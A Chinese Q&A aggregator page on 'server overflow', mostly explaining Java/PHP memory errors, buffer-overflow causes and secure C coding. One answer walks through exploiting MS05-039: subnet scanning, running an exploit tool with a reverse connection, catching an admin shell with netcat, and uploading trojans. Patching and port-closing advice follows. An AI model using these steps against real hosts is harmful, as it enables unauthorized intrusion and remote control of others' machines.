當前位置:首頁 » 城管服務 » 伺服器溢出

伺服器溢出

發布時間: 2021-03-03 10:13:17

① Java服務器緩存溢出有哪些

不可以實現緩沖區溢出攻擊;
純java代碼是不會有緩沖區溢出漏洞的,因為回java中是全自動內存答管理了,用戶無法控制內存的分配與釋放.
緩沖區溢出攻擊是利用緩沖區溢出漏洞所進行的攻擊行動。緩沖區溢出是一種非常普遍、非常危險的漏洞,在各種操作系統、應用軟體中廣泛存在。利用緩沖區溢出攻擊,可以導致程序運行失敗、系統關機、重新啟動等後果。
緩沖區溢出是指當計算機向緩沖區內填充數據位數時超過了緩沖區本身的容量,溢出的數據覆蓋在合法數據上。理想的情況是:程序會檢查數據長度,而且並不允許輸入超過緩沖區長度的字元。但是絕大多數程序都會假設數據長度總是與所分配的儲存空間相匹配,這就為緩沖區溢出埋下隱患。

② 什麼是伺服器溢出,怎麼把那伺服器溢出呢

……機房發大水,把伺服器都溢出了……

呵呵,開玩笑的!樓主不是研究網路攻擊吧??

溢出有很多種類型的。

③ 怎麼解決數據溢出

系統漏洞溢出主要分為遠程溢出和本地溢出兩種,本地溢出造成的後果是普通的用戶可以利用漏洞進行許可權的提升,而遠程溢出的後果則是被黑客進行遠程式控制制,進而造成被黑客安裝程序來查看、更改或刪除數據;或者創建擁有完全用戶許可權的新賬戶等一系列危險的操作。
在計算機內部,輸入的數據通常被存放在一個臨時的空間內,這個臨時的空間就被成為緩沖區,緩沖區的容量事先已經被程序或操作系統定義好了。系統漏洞溢出主要是程序在向緩沖區內填充數據時,如果數據很多,超出了緩沖區的本身的容量,進而造成數據溢出存儲空間,使裝不下的數據覆蓋在合法的數據上。這時系統就會出錯,讓黑客越過審核機制入侵系統。

在使用系統漏洞溢出攻擊時,常常聽到ShellCode這個詞。ShellCode實際上就是一組可以完成我們想要的功能的機器代碼,這些代碼通常都是以十六進制的數組形式存在的,黑客常常會根據自己需要實現的目的來編寫這段代碼。最常見的ShellCode形式,就是一個打開DOS窗口的代碼,從而使黑客得到一個遠程的Shell,這樣就完成了系統漏洞溢出的操作。成功的進行了遠程溢出操作後,黑客還會通過FTP、Tftp等命令上傳可以進行遠程式控制制的程序並執行,最終達到遠程式控制制的目的,這也是現在流行利用漏洞溢出進行入侵的原因。

入侵實戰

第一步:漏洞分析

本次講解以Windows即插即用遠程代碼執行漏洞(MS05-039)為例。造成該漏洞的主要原因是即插即用服務中未經檢查的緩沖區出現了溢出漏洞,受影響的系統主要包括Windows 2000和WindowsXP SP1 。

第二步:掃描計算機

首先我們來查找存在MS05-039漏洞的遠程計算機,由於存在這個漏洞的系統都開放了445和139埠,所以我們只要利用一個掃描器對一個大范圍的IP段的445埠進行掃描即可。那些打開445埠的計算機就有可能存在MS05-039漏洞,這樣為我們進行遠程溢出提供了目標。

今天我們使用的掃描器是s.exe。打開一個命令提示符窗口,輸入命令:s tcp 192.168.0.1 192.168.0.255 445 120 /save,這段命令的意思是利用120個線程數,掃描192.168.0.1到192.168.0.255這個IP段中TCP協議下的445埠,掃描的線程為120,並將掃描的結果保存到硬碟中一個名為Result的文本文件中(圖1)。

第三步:溢出系統

現在我們就可以利用漏洞工具對遠程計算機進行攻擊。我們首先來看看該工具的使用方法。打開一個命令提示符窗口,執行漏洞利用工具後查看它的使用方法(圖2)。從圖中我們可以看到,該工具是通過反彈連接的形式進行遠程數據溢出的,這樣即使遠程計算機安裝有網路防火牆,我們也可以成功地進行溢出操作。

下面我們在命令提示符窗口執行:ms05039 192.168.0.3 192.168.0.2 4466 1,首先來說說這段命令的意思。192.168.0.3 是遠程計算機的IP地址,192.168.0.2是本地計算機的IP地址,4466是成功溢出遠程計算機數據後將連接到本地計算機的4466這個埠,1代表遠程系統是中文版本,如果是英文就設置為0。當成功的執行了遠程數據的溢出操作後,漏洞利用工具會出現溢出成功的提示(圖3)。

當我們成功溢出遠程數據後,就需要馬上通過nc來監聽反彈連接到本地4466埠的數據。重新再開啟一個命令提示符窗口,在輸入命令:nc -vv -l -p 4466後進行數據監聽,很快我們就可以在這個監聽窗口得到一個擁有管理員許可權的遠程SHELL(圖4)。

至此,我們已經成功的進入了遠程計算機的系統。但是畢竟在DOS界面下工作有諸多的不便,所以我們在獲得遠程計算機的SHELL後,會通過FTP、TFTP等方法上傳可以進行圖形界面下工作的木馬等程序,這樣我們就可以輕松的對遠程計算機進行控制。換句話說,我們從那時起就真正的可以「主宰」這台遠程主機的命運了。

攻擊後果以及防範

通過系統漏洞溢出進行遠程攻擊已經成為當前最為行之有效的一種攻擊手段,這種方法不但可以對個人的電腦進行攻擊,還可以對某些伺服器進行攻擊。除此以外,溢出攻擊在操作使用上也非常的簡單,任何朋友只要按照前面講述的步驟進行操作,基本上都能成功的進行溢出攻擊。

介於系統漏洞溢出這種攻擊的高危害性,所以人們一定要提高警惕,使用各種有效的方法對這種攻擊手段進行防範。

首先,由於這種攻擊手段是由系統漏洞引起的,所以為了避免系統遭受到攻擊,應該盡快的安裝相應的安全補丁。就拿今天舉例的這個Windows即插即用遠程代碼執行漏洞來說吧,用戶就應該盡快的安裝MS05039漏洞補丁。

MS05039漏洞補丁:http://www.microsoft.com/china/technet/security/bulletin/MS05-039.mspx

其次,由於某些原因使用戶不能在第一時間安裝補丁的,也可以通過其他的一些變通的辦法來阻止系統受到侵害,當然每個漏洞變通的解決辦法是不相同的。就MS05039漏洞而言,用戶只要通過對系統信息的重新配置,就可以封堵系統TCP 埠139和445埠,然後切斷黑客和病毒入侵的途徑。

關閉139埠的方法

1.點擊「開始菜單」後,選擇「設置」菜單中的「網路連接」選項。
2.接著在彈出的「網路連接」窗口中點擊「本地連接」選目的「屬性」命令。
3.然後在彈出的「本地連接屬性」窗口中選取「Internet協議(TCP/IP)」選項並點擊「屬性」按鈕。
4.最後進入「高級TCP/IP設置」窗口,選擇「WINS設置」選項卡,在裡面有一項「禁用TCP/IP的NETBIOS」,選擇該選項後就會關閉139埠了。

關閉445埠的方法

1.在命令行窗口運行修改注冊表命令RegEdit。
2.在彈出的注冊表編輯窗口的左邊找到下面目錄HKEY_LOCAL_MACHINESystemCurrentContr
olSetServicesNetBTParameters
你可以一級一級目錄往下點擊,也可用「查找」命令找到NetBT項,然後點擊Parameters項。
3.在編輯窗口的右邊空白處點擊滑鼠右鍵,出現的「新建」菜單中選擇「DWORD值」,將新建的DWORD參數命名為「SMBDeviceEnabled」,數值為預設的「0」。
4.修改完後退出RegEdit,重啟機器。
5.運行「netstat –an」,你將會發現你的445埠已經不再Listening了。

最後,及時安裝最新版本的殺毒軟體,並且升級到最新的病毒庫,打開及時監控功能,這樣雖然不能徹底防範黑客和病毒對我們系統的入侵,當可以在第一時間對發現的可疑惡意程序進行查殺。

④ 伺服器內存溢出怎麼解決

1. java.lang.OutOfMemoryError: Java heap space ----JVM Heap(堆)溢出

JVM在啟動的時候會自動設置JVM Heap的值,其初始空間(即-Xms)是物理內存的1/64,最大空間(-Xmx)不可超過物理內存。

可以利用JVM提供的-Xmn -Xms -Xmx等選項可進行設置。Heap的大小是Young GenerationTenured Generaion之和。

在JVM中如果98%的時間是用於GC,且可用的Heap size不足2%的時候將拋出此異常信息。

解決方法:手動設置JVM Heap(堆)的大小。  

 

2. java.lang.OutOfMemoryError: PermGen space  ---- PermGen space溢出。 

PermGen space的全稱是Permanent Generation space,是指內存的永久保存區域。

為什麼會內存溢出,這是由於這塊內存主要是被JVM存放Class和Meta信息的,Class在被Load的時候被放入PermGen space區域,它和存放Instance的Heap區域不同,sun的 GC不會在主程序運行期對PermGen space進行清理,所以如果你的APP會載入很多CLASS的話,就很可能出現PermGen space溢出。

解決方法: 手動設置MaxPermSize大小

3. java.lang.StackOverflowError   ---- 棧溢出

棧溢出了,JVM依然是採用棧式的虛擬機,這個和C和Pascal都是一樣的。函數的調用過程都體現在堆棧和退棧上了。

調用構造函數的 「層」太多了,以致於把棧區溢出了。

通常來講,一般棧區遠遠小於堆區的,因為函數調用過程往往不會多於上千層,而即便每個函數調用需要 1K的空間(這個大約相當於在一個C函數內聲明了256個int類型的變數),那麼棧區也不過是需要1MB的空間。通常棧的大小是1-2MB的。

通常遞歸也不要遞歸的層次過多,很容易溢出。

解決方法:修改程序。

⑤ linux伺服器,請問這能看出內存溢出嗎 空間商說是內存溢出了。

檢查php.ini memory_limit 欄位的值,默認8M,改大一些。
如果沒有管理員許可權,則在php 配置文件,如inc.php中添加一行專:
ini_set(』memory_limit』, 『12M』);
或者屬在網站根目錄下 .htaccess 文件中添加一行:
php_value memory_limit 12M

⑥ 為了解決伺服器溢出攻擊應該採取什麼安全策略

在頻頻惡意攻擊用戶、系統漏洞層出不窮的今天,作為網路治理員、系統治理員雖然在伺服器的安全上都下了不少功夫,諸如及時打上系統安全補丁、進行一些常規的安全配置,但有時仍不安全。因此必須惡意用戶入侵之前,通過一些系列安全設置,來將入侵者們擋在「安全門」之外,下面就將最簡單、最有效的防(Overflow)溢出、本地提供許可權攻擊類的解決辦法給大家分享。

一、如何防止溢出類攻擊

1、盡最大的可能性將系統的漏洞補丁都打完,最好是比如Microsoft Windows Server系列的系統可以將自動更新服務打開,然後讓伺服器在您指定的某個時間段內自動連接到Microsoft Update網站進行補丁的更新。假如您的伺服器為了安全起見 禁止了對公網外部的連接的話,可以用Microsoft WSUS服務在內網進行升級。

2、停掉一切不需要的系統服務以及應用程序,最大限能的降底伺服器的被攻擊系數。比如前陣子的MSDTC溢出,就導致很多伺服器掛掉了。其實假如WEB類伺服器根本沒有用到MSDTC服務時,您大可以把MSDTC服務停掉,這樣MSDTC溢出就對您的伺服器不構成任何威脅了。

3、啟動TCP/IP埠的過濾,僅打開常用的TCP如21、80、25、110、3389等埠;假如安全要求級別高一點可以將UDP埠關閉,當然假如這樣之後缺陷就是如在伺服器上連外部就不方便連接了,這里建議大家用IPSec來封UDP。在協議篩選中"只答應"TCP協議(協議號為:6)、UDP協議(協議號為:17)以及RDP協議(協議號為:27)等必需用協議即可;其它無用均不開放。

4、啟用IPSec策略:為伺服器的連接進行安全認證,給伺服器加上雙保險。如③所說,可以在這里封掉一些危險的端品諸如:135 145 139 445 以及UDP對外連接之類、以及對通讀進行加密與只與有信任關系的IP或者網路進行通訊等等。(注:其實防反彈類木馬用IPSec簡單的禁止UDP或者不常用TCP埠的對外訪問就成了,關於IPSec的如何應用這里就不再敖續,可以到服安討論Search "IPSec",就 會有N多關於IPSec的應用資料..)

5、刪除、移動、更名或者用訪問控製表列Access Control Lists (ACLs)控制要害系統文件、命令及文件夾

⑦ 請教伺服器內存溢出問題

會自動重啟? 不是手動!!!

⑧ 網站伺服器帶寬超出怎麼解決

戴爾的伺服器5千多的就可以了,帶寬5到10M。你買伺服器肯定找idc託管的,還要買域名。你留個號,發你詳細信息。

⑨ 問下關於CS的一個比較棘手的問題:伺服器溢出。

我可以說是你cs版本問題么.你那段英文就是這么告訴你的啊.大意就是說你這個版本不支持那麼專多人屬.伺服器不支持這么多少人.有溢出報告.還有那個叫拉登莫地雷的.像你這種不懂cs精神的人少在那邊放屁.雖然現在cs沒落了.但是cs有我們曾經的夢想.我們曾經為這個夢想奮斗過.別用你那張臭嘴侮辱這個游戲!

⑩ 網路中什麼是溢出啊

溢出
目錄·【簡介】
·【內存溢出】
·為什麼會出現內存溢出問題
·如何解決溢出內存問題
·【緩沖區溢出】
·緩沖區溢出分類
·為什麼緩沖區溢出如此常見
·防止緩沖區溢出的新技術

【簡介】
溢出是黑客利用操作系統的漏洞,專門開發了一種程序,加相應的參數運行後,就可以得到你電腦具有管理員資格的控制權,你在你自己電腦上能夠運行的東西他可以全部做到,等於你的電腦就是他的了。在黑客頻頻攻擊、在系統漏洞層出不窮的今天,作為網路管理員、系統管理員的我們雖然在伺服器的安全上都下了不少功夫:諸如,及時的打上系統安全補丁、進行一些常規的安全配置,但是仍然不太可能每台伺服器都會在第一時間內給系統打上全新補丁。因此我們必需要在還未被入侵之前,通過一些系列安全設置,來將入侵者們擋在「安全門」之外。

【內存溢出】

內存溢出已經是軟體開發歷史上存在了近40年的「老大難」問題,象在「紅色代碼」病毒事件中表現的那樣,它已經成為黑客攻擊企業網路的「罪魁禍首」。

如在一個域中輸入的數據超過了它的要求就會引發數據溢出問題,多餘的數據就可以作為指令在計算機上運行。據有關安全小組稱,操作系統中超過50%的安全漏洞都是由內存溢出引起的,其中大多數與微軟的技術有關。
微軟的軟體是針對台式機開發的,內存溢出不會帶來嚴重的問題。但現在台式機一般都連上了互聯網,內存溢出就為黑客的入侵提供了便利條件。

為什麼會出現內存溢出問題

導致內存溢出問題的原因有很多,比如:
(1) 使用非類型安全(non-type-safe)的語言如 C/C++ 等。
(2) 以不可靠的方式存取或者復制內存緩沖區。
(3) 編譯器設置的內存緩沖區太靠近關鍵數據結構。
下面來分析這些因素:
1. 內存溢出問題是 C 語言或者 C++ 語言所固有的缺陷,它們既不檢查數組邊界,又不檢查類型可靠性(type-safety)。眾所周知,用 C/C++ 語言開發的程序由於目標代碼非常接近機器內核,因而能夠直接訪問內存和寄存器,這種特性大大提升了 C/C++ 語言代碼的性能。只要合理編碼,C/C++ 應用程序在執行效率上必然優於其它高級語言。然而,C/C++ 語言導致內存溢出問題的可能性也要大許多。其他語言也存在內容溢出問題,但它往往不是程序員的失誤,而是應用程序的運行時環境出錯所致。
2. 當應用程序讀取用戶(也可能是惡意攻擊者)數據,試圖復制到應用程序開辟的內存緩沖區中,卻無法保證緩沖區的空間足夠時(換言之,假設代碼申請了 N 位元組大小的內存緩沖區,隨後又向其中復制超過 N 位元組的數據)。內存緩沖區就可能會溢出。想一想,如果你向 12 盎司的玻璃杯中倒入 16 盎司水,那麼多出來的 4 盎司水怎麼辦?當然會滿到玻璃杯外面了!
3. 最重要的是,C/C++ 編譯器開辟的內存緩沖區常常鄰近重要的數據結構。現在假設某個函數的堆棧緊接在在內存緩沖區後面時,其中保存的函數返回地址就會與內存緩沖區相鄰。此時,惡意攻擊者就可以向內存緩沖區復制大量數據,從而使得內存緩沖區溢出並覆蓋原先保存於堆棧中的函數返回地址。這樣,函數的返回地址就被攻擊者換成了他指定的數值;一旦函數調用完畢,就會繼續執行「函數返回地址」處的代碼。非但如此,C++ 的某些其它數據結構,比如 v-table 、例外事件處理程序、函數指針等,也可能受到類似的攻擊。
好,閑話少說,現在來看一個具體的例子。
請思考:以下代碼有何不妥之處?
void CopyData(char *szData) {
char cDest[32];
strcpy(cDest,szData);
// 處理 cDest
...
}
奇怪,這段代碼好像沒什麼不對勁啊!確實,只有調用上述 CopyData() 才會出問題。例如:這樣使用 CopyData() 是安全的:
char *szNames[] = {"Michael","Cheryl","Blake"};
CopyData(szName[1]);
為什麼呢?因為數組中的姓名("Michael"、"Cheryl"、"Blake")都是字元串常量,而且長度都不超過 32 個字元,用它們做 strcpy() 的參數總是安全的。再假設 CopyData 的唯一參數 szData 來自 socket 套接字或者文件等不可靠的數據源。由於 strcpy 並不在乎數據來源,只要沒遇上空字元,它就會一個字元一個字元地復制 szData 的內容。此時,復制到 cDest 的字元串就可能超過 32 字元,進而導致內存緩沖區 cDest 的溢出;溢出的字元就會取代內存緩沖區後面的數據。不幸的是,CopyData 函數的返回地址也在其中!於是,當 CopyData 函數調用完畢以後,程序就會轉入攻擊者給出的「返回地址」,從而落入攻擊者的圈套!授人以柄,慘!
前面提到的其它數據結構也可能受到類似的攻擊。假設有人利用內存溢出漏洞覆蓋了下列 C++ 類中的 v-table :
void CopyData(char *szData) {
char cDest[32];
CFoo foo;
strcpy(cDest,szData);
foo.Init();
}
與其它 C++ 類一樣,這里的 CFoo 類也對應一個所謂的 v-table,即用於保存一個類的全部方法地址的列表。若攻擊者利用內存溢出漏洞偷換了 v-table 的內容,則 CFoo 類中的所有方法,包括上述 Init() 方法,都會指向攻擊者給出的地址,而不是原先 v-table 中的方法地址。順便說一句,即使你在某個 C++ 類的源代碼中沒有調用任何方法,也不能認為這個類是安全的,因為它在運行時至少需要調用一個內部方法——析構器(destructor)!當然,如果真有一個類沒有調用任何方法,那麼它的存在意義也就值得懷疑了。

如何解決溢出內存問題

下面討論內存溢出問題的解決和預防措施。

1、改用受控代碼
2002 年 2 月和 3 月,微軟公司展開了 Microsoft Windows Security Push 活動。在此期間,我所在的小組一共培訓了超過 8500 人,教授他們如何在設計、測試和文檔編制過程中解決安全問題。在我們向所有程序設計人員提出的建議中,有一條就是:緊跟微軟公司軟體開發策略的步伐,將某些應用程序和工具軟體由原先基於本地 Win32 的 C++ 代碼改造成基於 .NET 的受控代碼。我們的理由很多,但其中最根本的一條,就是為了解決內存溢出問題。基於受控代碼的軟體發生內存溢出問題的機率要小得多,因為受控代碼無法直接存取系統指針、寄存器或者內存。作為開發人員,你應該考慮(至少是打算)用受控代碼改寫某些應用程序或工具軟體。例如:企業管理工具就是很好的改寫對象之一。當然,你也應該很清楚,不可能在一夜之間把所有用 C++ 開發的軟體用 C# 之類的受控代碼語言改寫。

2、遵守黃金規則
當你用 C/C++ 書寫代碼時,應該處處留意如何處理來自用戶的數據。如果一個函數的數據來源不可靠,又用到內存緩沖區,那麼它就必須嚴格遵守下列規則:
必須知道內存緩沖區的總長度。

檢驗內存緩沖區。

提高警惕。

讓我們來具體看看這些「黃金規則」:
(1)必須知道內存緩沖區的總長度。
類似這樣的代碼就有可能導致 bug :
void Function(char *szName) {
char szBuff[MAX_NAME];
// 復制並使用 szName
strcpy(szBuff,szName);
}
它的問題出在函數並不知道 szName 的長度是多少,此時復制數據是不安全的。正確的做法是,在復制數據前首先獲取 szName 的長度:
void Function(char *szName, DWORD cbName) {
char szBuff[MAX_NAME];
// 復制並使用 szName
if (cbName < MAX_NAME)
strcpy(szBuff,szName);
}
這樣雖然有所改進,可它似乎又過於信任 cbName 了。攻擊者仍然有機會偽造 czName 和 szName 兩個參數以謊報數據長度和內存緩沖區長度。因此,你還得檢檢這兩個參數!
(2)檢驗內存緩沖區
如何知道由參數傳來的內存緩沖區長度是否真實呢?你會完全信任來自用戶的數據嗎?通常,答案是否定的。其實,有一種簡單的辦法可以檢驗內存緩沖區是否溢出。請看如下代碼片斷:
void Function(char *szName, DWORD cbName) {
char szBuff[MAX_NAME];
// 檢測內存
szBuff[cbName] = 0x42;
// 復制並使用 szName
if (cbName < MAX_NAME)
strcpy(szBuff,szName);
}
這段代碼試圖向欲檢測的內存緩沖區末尾寫入數據 0x42 。你也許會想:真是多此一舉,何不直接復制內存緩沖區呢?事實上,當內存緩沖區已經溢出時,一旦再向其中寫入常量值,就會導致程序代碼出錯並中止運行。這樣在開發早期就能及時發現代碼中的 bug 。試想,與其讓攻擊者得手,不如及時中止程序;你大概也不願看到攻擊者隨心所欲地向內存緩沖區復制數據吧。
(3)提高警惕
雖然檢驗內存緩沖區能夠有效地減小內存溢出問題的危害,卻不能從根本上避免內存溢出攻擊。只有從源代碼開始提高警惕,才能真正免除內存溢出攻擊的危脅。不錯,上一段代碼已經很對用戶數據相當警惕了。它能確保復制到內存緩沖區的數據總長度不會超過 szBuff 的長度。然而,某些函數在使用或復制不可靠的數據時也可能潛伏著內存溢出漏洞。為了檢查你的代碼是否存在內存溢出漏洞,你必須盡量追蹤傳入數據的流向,向代碼中的每一個假設提出質疑。一旦這么做了,你將會意識到其中某些假設是錯誤的;然後你還會驚訝地叫道:好多 bug 呀!
在調用 strcpy、strcat、gets 等經典函數時當然要保持警惕;可對於那些所謂的第 n 版 (n-versions) strcpy 或 strcat 函數 —— 比如 strncpy 或 strncat (其中 n = 1,2,3 ……) —— 也不可輕信。的確,這些改良版本的函數是安全一些、可靠一些,因為它們限制了進入內存緩沖區的數據長度;然而,它們也可能導致內存溢出問題!請看下列代碼,你能指出其中的錯誤嗎?
#define SIZE(b) (sizeof(b))
char buff[128];
strncpy(buff,szSomeData,SIZE(buff));
strncat(buff,szMoreData,SIZE(buff));
strncat(buff,szEvenMoreData,SIZE(buff));
給點提示:請注意這些字元串函數的最後一個參數。怎麼,棄權?我說啊,如果你是執意要放棄那些「不安全」的經典字元串函數,並且一律改用「相對安全」的第 n 版函數的話,恐怕你這下半輩子都要為了修復這些新函數帶來的新 bug 而疲於奔命了。呵呵,開個玩笑而已。為何這么說?首先,它們的最後一個參數並不代表內存緩沖區的總長度,它們只是其剩餘空間的長度;不難看出,每執行完一個 strn... 函數,內存緩沖區 buff 的長度就減少一些。其次,傳遞給函數的內存緩沖區長度難免存在「大小差一」(off-by-one)的誤差。你認為在計算 buff 的長度時包括了字元串末尾的空字元嗎?當我向聽眾提出這個問題時,得到的肯定答復和否定答復通常是 50 比 50 ,對半開。也就是說,大約一半人認為計算了末尾的空字元,而另一半人認為忽略了該字元。最後,那些第 n 版函數所返回的字元串不見得以空字元結束,所以在使用前務必要仔細閱讀它們的說明文檔。

3、編譯選項 /GS
「/GS」是 Visual C++ .NET 新引入的一個編譯選項。它指示編譯器在某些函數的堆棧幀(stack-frames) 中插入特定數據,以幫助消除針對堆棧的內存溢出問題隱患。切記,使用該選項並不能替你清除代碼中的內存溢出漏洞,也不可能消滅任何 bug 。它只是亡羊補牢,讓某些內存溢出問題隱患無法演變成真正的內存溢出問題;也就是說,它能防止攻擊者在發生內存溢出時向進程中插入和運行惡意代碼。無論如何,這也算是小小的安全保障吧。請注意,在新版的本地 Win32 C++ 中使用 Win32 應用程序向導創建新項目時,默認設置已經打開了此選項。同樣,Windows .NET Server 環境也默認打開了此選項。關於 /GS 選項的更多信息,請參考 Brandon Bray 的《Compiler Security Checks In Depth》一書。

所謂定點數溢出是指定點數的運算結果的絕對值大於計算機能表示的最大數的絕對值。浮點數的溢出又可分為「上溢出」和「下溢出」兩種,「上溢出」與整數、定點數的含義相同,「下溢出」是指浮點數的運算結果的絕對值小於機器所能表示的最小數絕對值,此時將該運算結果處理成機器零。若發現溢出(上溢出),運算器將產生溢出標志或發出中斷請求,當溢出中斷未被屏蔽時,溢出中斷信號的出現可中止程序的執行而轉入溢出中斷處理程序。<BR><BR>
例如:有兩個數0.1001111和0.1101011相加,其結果應為1.0111010。由於定點數計算機只能表示小於1的數,如果字長只有8位,那麼小數點前面的1,會因沒有觸發器存放而丟失。這樣,上述兩個數在計算機中相加,其結果變為0.0111010。又如,有兩個數0.0001001和0.00001111相乘,其結果應為0.00000000111111,若字長只有8位,則結果顯示為0.0000000,後面的1個0和6個1全部丟失,顯然這個結果有誤差。計算機的任何運算都不允許溢出,除非專門利用溢出做判斷,而不使用所得的結果。所以,當發生和不允許出現的溢出時,就要停機或轉入檢查程序,以找出產生溢出的原因,做出相應的處理。

【緩沖區溢出】

緩沖區是用戶為程序運行時在計算機中申請的一段連續的內存,它保存了給定類型的數據。緩沖區溢出指的是一種常見且危害很大的系統攻擊手段,通過向程序的緩沖區寫入超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,使程序轉而執行其他的指令,以達到攻擊的目的。更為嚴重的是,緩沖區溢出攻擊佔了遠程網路攻擊的絕大多數,這種攻擊可以使得一個匿名的Internet用戶有機會獲得一台主機的部分或全部的控制權!由於這類攻擊使任何人都有可能取得主機的控制權,所以它代表了一類極其嚴重的安全威脅。

緩沖區溢出攻擊的目的在於擾亂具有某些特權運行的程序的功能,這樣可以使得攻擊者取得程序的控制權,如果該程序具有足夠的許可權,那麼整個主機就被控制了。一般而言,攻擊者攻擊root程序,然後執行類似「exec(sh)」的執行代碼來獲得root的shell。為了達到這個目的,攻擊者必須達到如下的兩個目標:在程序的地址空間里安排適當的代碼;通過適當地初始化寄存器和存儲器,讓程序跳轉到事先安排的地址空間執行。根據這兩個目標,可以將緩沖區溢出攻擊分為以下3類。

熱點內容
影視轉載限制分鍾 發布:2024-08-19 09:13:14 瀏覽:319
韓國電影傷口上紋身找心裡輔導 發布:2024-08-19 09:07:27 瀏覽:156
韓國電影集合3小時 發布:2024-08-19 08:36:11 瀏覽:783
有母乳場景的電影 發布:2024-08-19 08:32:55 瀏覽:451
我准備再看一場電影英語 發布:2024-08-19 08:14:08 瀏覽:996
奧迪a8電影叫什麼三個女救人 發布:2024-08-19 07:56:14 瀏覽:513
邱淑芬風月片全部 發布:2024-08-19 07:53:22 瀏覽:341
善良媽媽的朋友李采潭 發布:2024-08-19 07:33:09 瀏覽:760
哪裡還可以看查理九世 發布:2024-08-19 07:29:07 瀏覽:143
看電影需要多少幀數 發布:2024-08-19 07:23:14 瀏覽:121